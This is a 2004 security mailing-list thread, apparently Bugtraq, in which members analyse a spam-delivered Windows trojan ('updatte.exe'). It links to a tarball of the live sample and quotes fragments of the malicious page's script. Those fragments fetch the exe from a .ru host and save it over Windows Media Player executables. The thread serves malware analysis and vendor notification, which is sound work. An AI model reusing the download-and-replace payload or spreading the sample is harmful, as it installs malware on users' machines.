new WIN virus?

[Atom 'Smasher']

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

i don't know much at all about windows, but this spam got past my spam
filter and drew my attention. i tested the suspect file in some on-line
virus checkers, and they all reported the file as not being a threat.
looking at the page that the spam requested (hidden after "@" in the link)
i can only think that the file is up to no-good.

the original spam, the page that it requests, and the suspicious "exe"
file:
http://smasher.suspicious.org/tmp/live-virus.tgz

live-virus.tgz
md5: 42e6edfe1dcbb3e83f3da997014c7858
sha1: 372ef9ce498b3cd23cd7c0c2b404a18f7d1b7771

the TGZ contains:
- -rw-r--r-- atom/atom 1606 Jan 29 00:34 2004 spam
- -rw-r--r-- atom/atom 1941 Jan 29 00:31 2004 gift-with-headers.html
- -rw-r--r-- atom/atom 8704 Jan 28 22:41 2004 updatte.exe

updatte.exe was tested on:
yahoo-mail
http://www.kaspersky.com/remoteviruschk.html
http://www.dials.ru/english/www_av/
http://www.rav.ro/scan/indexn.php
and they all reported that the file poses no threat. i suspect they're
wrong.


...atom

_______________________________________________
PGP key - http://smasher.suspicious.org/pgp.txt
3EBE 2810 30AE 601D 54B2 4A90 9C28 0BBF 3D7D 41E3
-------------------------------------------------

fascism: n. A system of government that exercises a dictatorship
of the extreme right, typically through the merging of state and
business leadership, together with belligerent nationalism.
-- The American Heritage Dictionary, 1983
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (FreeBSD)

iD8DBQFAGKb8nCgLvz19QeMRAuKmAJ9vycEHwtOBNNQ5OkyInn eQdb0IqQCff7U2
DdPmn6tznmWijT7S8OMWj6M=
=EscX
-----END PGP SIGNATURE-----

[markus-1977@gmx.net]

Hi,
Seems that the webpage uses several known (unfixed) exploits in IE, i.e. it
spoofes the URL in the adress-bar and overwrites Mediaplayer with an
executable (updatte.exe). I took a quick look at the executable. It seems to be some
sort of 900#-dialer. I couldn't find out a lot since all my disassembly tools
don't like the stuff that my unpacker produced (the executable uses an
exe-packer called FSG), but from the API that's imported (some RAS stuff) my best
guess right now is that it is yet-another-dialer. Strings in the unpacked
executable seem to be encrypted for the most part. If this spam was meant to be
for the German "market", the spamers forgot to register their dialer with the
RegTP/government, so no lead there...

Markus


--
The early bird gets the worm. If you want
something else for breakfast, get up later.

+++ GMX - die erste Adresse für Mail, Message, More +++
Bis 31.1.: TopMail + Digicam für nur 29 EUR http://www.gmx.net/topmail

[pna.lists]

Isn't this a perfect way how to release a new worm into the wild? Hyperlink
in a Bugtraq message/archive is a really innovative virus distribution
vector. Everybody else submits the suspicious files the the antivirus
companies.

> i don't know much at all about windows, but this spam got past my spam
> filter and drew my attention. i tested the suspect file in some on-line
> virus checkers, and they all reported the file as not being a threat.
> looking at the page that the spam requested (hidden after "@" in the link)
> i can only think that the file is up to no-good.
>
> the original spam, the page that it requests, and the suspicious "exe"
> file:
> http://smasher.suspicious.org/tmp/live-virus.tgz

[Atom 'Smasher']

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

> Isn't this a perfect way how to release a new worm into the wild? Hyperlink
> in a Bugtraq message/archive is a really innovative virus distribution
> vector. Everybody else submits the suspicious files the the antivirus
> companies.
======================

1) sure, go ahead and use it. of course, you'd have to decompile it and do
some re-writing to send sniffed passwords to you, instead of it's intended
recipient.

2) living in both an M$-free home & office, i have no relationship at all
with any of the anti-virus companies. so....

3) i looked on their web sites for a place to submit a new virus, but
couldn't find that link. maybe you can tell me where to send it to, so
i'll know for next time.

4) i correctly guessed that [someone on] this list would figure out what
the payload is, and i'm sure someone here knows where to send it, so the
anti-virus companies are aware of it... more likely is that people in R&D
at the anti-virus companies follow the list themselves.

5) i think most people here are (or should be!) capable of safely handling
and studying a virus without getting themselves infected. anyone who can't
handle it safely should be discouraged from playing with it by the file
name.

6) maybe i should just contact the virus' author, and tell that that
they've been discovered. isn't that they proper first step when one
discovers a flaw in software (or it's distribution)?

7) a better vector would be a post on a list that is *NOT* full of
computer security professionals. the link could claim to have something to
do with the topic of the list, and probably not be called "live-virus.tgz"


...atom

_______________________________________________
PGP key - http://smasher.suspicious.org/pgp.txt
3EBE 2810 30AE 601D 54B2 4A90 9C28 0BBF 3D7D 41E3
-------------------------------------------------

"Anyone who doubts that terrorists could smuggle a
nuclear warhead into New York City should note that
they could always wrap it in a bale of marijuana."
-- Graham Allison, The Boston Globe 27 October 1999
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (FreeBSD)

iD8DBQFAGZ+bnCgLvz19QeMRAjK5AJ0cXTeg7FYroSA+XBjFS2 9yldVrYgCcD68d
nujF4a6K7bucaf20mZHSn7Y=
=J3si
-----END PGP SIGNATURE-----

[Gregor Lawatscheck]

Atom 'Smasher' wrote:
[...]
> the original spam, the page that it requests, and the suspicious "exe"
> file:
> http://smasher.suspicious.org/tmp/live-virus.tgz
>
[...]
> updatte.exe was tested on:
> yahoo-mail
> http://www.kaspersky.com/remoteviruschk.html
> http://www.dials.ru/english/www_av/
> http://www.rav.ro/scan/indexn.php
> and they all reported that the file poses no threat. i suspect they're
> wrong.

I've submitted this file to AVERT WebImmune ( https://www.webimmune.net
) and they now detect it as
a password phishing Trojan called "pws-polk". I've also sent a sample to
newvirus (at) kaspersky.com so they get a chance to update their signatures.

- Gregor

[Atom 'Smasher']

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

in response to replies i've received on and off list...

no: i'm not infected (i live in an M$-free home).

no: i didn't submit the [suspected] virus to anyplace other than what i
originally listed.

yes: the HTML file is a trojan. it's purpose is to covertly download the
EXE file, and replace media-players with it. the EXE file is likely up to
no-good, and that's the file that i tested for being a virus. a quick look
at the HTML file reveals that it's intent is evil. i don't have a good way
to check what the EXE file wants to do, but i assume that it's evil.


summary: i'm assuming that if the HTML page wants to covertly do this:

## snip
x.Open("GET", "http://www.alextour.ru/dan/updatte.exe",0);
## snip
s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
s.SaveToFile("C:\\Program Files\\Windows Media Player\\mplayer2.exe",2);
## snip

then the EXE file is probably something that's not supposed to be a media
player, and should probably be recognized as a virus. the fact that it
isn't recognized as a virus makes me wonder if it's new.


...atom

_______________________________________________
PGP key - http://smasher.suspicious.org/pgp.txt
3EBE 2810 30AE 601D 54B2 4A90 9C28 0BBF 3D7D 41E3
-------------------------------------------------

"Simply stated, there is no doubt that Saddam Hussein now
has weapons of mass destruction."
-- Dick Cheney, 26 August 2002
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (FreeBSD)

iD8DBQFAGXdLnCgLvz19QeMRAsWZAJ9o3yW0LiVlRWQ6+HvT9c twqhPR7ACfWCfz
9ziAQPp5TEfznV6wQ7s+qOY=
=5sDs
-----END PGP SIGNATURE-----

[K-OTiK Security]

In-Reply-To: <Pine.BSF.4.58.0401290056100.39640@erfrnepu.fhfcvpv bhf.bet>

This is a lame trojan? trying to exploit the Windows Media Player/Internet Explorer vulnerability (greetz to Liu Die Yu)

x.Open("GET", "http://www.****.ru/dan/updatte.exe",0);
[...]
s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);

Online Demo : http://www.k-otik.com/WMPLAYER-TEST/

Vulnerability fixed with MS03-048 BID (8577, 9013, 9014, 9015).

Regards.
Chaouki B. /// http://www.k-otik.com



>From: Atom 'Smasher' <atom@suspicious.org>
>To: bugtraq@securityfocus.com
>Subject: new WIN virus?
>
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>i don't know much at all about windows, but this spam got past my spam
>filter and drew my attention. i tested the suspect file in some on-line
>virus checkers, and they all reported the file as not being a threat.
>looking at the page that the spam requested (hidden after "@" in the link)
>i can only think that the file is up to no-good.
>
>the original spam, the page that it requests, and the suspicious "exe"
>file:
> http://smasher.suspicious.org/tmp/live-virus.tgz
>
>live-virus.tgz
>md5: 42e6edfe1dcbb3e83f3da997014c7858
>sha1: 372ef9ce498b3cd23cd7c0c2b404a18f7d1b7771
>
>the TGZ contains:
>- -rw-r--r-- atom/atom 1606 Jan 29 00:34 2004 spam
>- -rw-r--r-- atom/atom 1941 Jan 29 00:31 2004 gift-with-headers.html
>- -rw-r--r-- atom/atom 8704 Jan 28 22:41 2004 updatte.exe
>
>updatte.exe was tested on:
> yahoo-mail
> http://www.kaspersky.com/remoteviruschk.html
> http://www.dials.ru/english/www_av/
> http://www.rav.ro/scan/indexn.php
>and they all reported that the file poses no threat. i suspect they're
>wrong.
>
>
> ...atom
>

>